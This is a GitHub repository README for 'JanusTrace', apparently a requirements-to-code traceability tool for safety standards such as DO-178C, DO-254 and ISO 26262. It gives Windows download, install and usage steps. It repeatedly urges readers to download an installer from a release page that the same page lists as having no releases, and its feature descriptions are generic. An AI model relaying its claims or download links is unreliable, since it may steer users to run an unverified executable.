Skip to content

earthb/JanusTrace

Repository files navigation

🛠️ JanusTrace - Trace Requirements with Ease

Download JanusTrace

JanusTrace helps you link your project requirements to the code. It is useful when you develop software that needs to meet strict safety standards. You can keep track of requirements in fields like aerospace (DO-178C), avionics hardware (DO-254), or automotive safety (ISO 26262). This tool makes it simpler to manage and trace requirements throughout your work.


📋 What JanusTrace Does

JanusTrace creates connections between requirements and the actual code that meets them. This helps teams show they follow rules and keep quality high. The tool works well when you must prove safety compliance. It:

  • Tracks requirements and related code
  • Supports safety standards like DO-178C, DO-254, and ISO 26262
  • Provides clear reports of what code fulfills which requirement
  • Helps manage changes and updates to requirements and code
  • Supports project documentation by linking requirements and development materials

💻 System Requirements

To run JanusTrace on Windows, your computer should meet these needs:

  • Windows 10 or later (64-bit recommended)
  • At least 4 GB of RAM
  • 500 MB of free disk space
  • An internet connection to download the software
  • A standard keyboard and mouse
  • Optional: A screen resolution of 1280x720 or higher for the best interface experience

JanusTrace works offline once installed but needs internet access for initial download and updates.


🚀 How to Download and Install JanusTrace

  1. Click the big green button at the top or visit the release page here:
    JanusTrace Releases

  2. On the release page, find the latest version.

  3. Download the Windows installer file (it will have a name like JanusTrace-Setup.exe).

  4. After the file downloads, locate it in your Downloads folder.

  5. Double-click the installer file to start installation.

  6. Follow the on-screen instructions:

    • Click 'Next' to continue.
    • Choose your installation folder or use the default.
    • Click 'Install' and wait for the process to finish.
  7. When installation finishes, click 'Finish' to close the installer.

  8. You can now find JanusTrace in your Start menu or on your desktop shortcut.


🖥️ Running JanusTrace for the First Time

  • Open JanusTrace from Start menu or desktop.
  • The app will display a welcome screen with options.
  • You can start a new project or open an existing one.
  • Use the main window to add your requirements and link related code files.
  • The interface shows your projects and the traceability map clearly.

If you want, open the help menu inside the app for tips on how to use each feature.


🔧 Using JanusTrace for Requirement Traceability

Here is a simple workflow to manage requirement traceability in JanusTrace:

  1. Create or Import Requirements:
    You can type in your requirements or import them from files (like Excel or CSV).

  2. Add Code or Document Links:
    Attach source files or documentation that prove the requirement is met.

  3. Map Requirements to Code:
    Use the tool to connect specific requirements to code sections.

  4. Review Traceability Reports:
    Generate reports to see what code meets which requirements. This helps during safety audits or reviews.

  5. Update and Track Changes:
    When requirements or code change, JanusTrace tracks edits and updates links automatically.

This workflow helps maintain a clear and up-to-date link between what your project needs and what you build.


📂 Managing Projects and Files

JanusTrace stores your projects locally on your PC:

  • Each project has its own folder.
  • You can export projects and reports to share with others.
  • Backup your project folders regularly to avoid data loss.

Files supported can include code files, requirement documents, and related reports in common formats.


⚙️ Configuring JanusTrace Settings

JanusTrace lets you adjust settings to suit your needs:

  • Customize how requirements and code links appear.
  • Choose which report formats to generate (e.g., PDF, Excel).
  • Set default folders for projects and backup storage.
  • Enable or disable notifications about updates or changes.

Access the settings from the app menu under "Options."


❓ Troubleshooting Tips

  • Installer Won't Run:
    Make sure you have administrator rights on your PC. Try right-clicking and choosing "Run as administrator."

  • App Does Not Start:
    Check that your Windows system meets the requirements. Restart your PC and try again.

  • Can't Find Project Files:
    Use the search feature in Windows to locate the project folder or check your default save location in settings.

  • Reports Not Generating:
    Confirm that report components are installed and you have enough disk space.

For further help, consult the user guide included in the app or visit the GitHub issues page.


📥 Download JanusTrace Now

Visit the release page to get the latest version for Windows:
Download JanusTrace


🔗 Related Topics

JanusTrace relates to several areas in software and system development:

  • DO-178C: Software considerations in airborne systems
  • DO-254: Design assurance guidance for airborne electronic hardware
  • ISO 26262: Functional safety for automotive equipment
  • Requirement Engineering and Management
  • Traceability of requirements and code
  • Functional safety and compliance tracking

By using JanusTrace, teams can improve control over complex projects with safety-critical needs.

About

Provide requirement-code traceability for safety-critical development following industry standards like DO-254, DO-178C, and ISO 26262.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors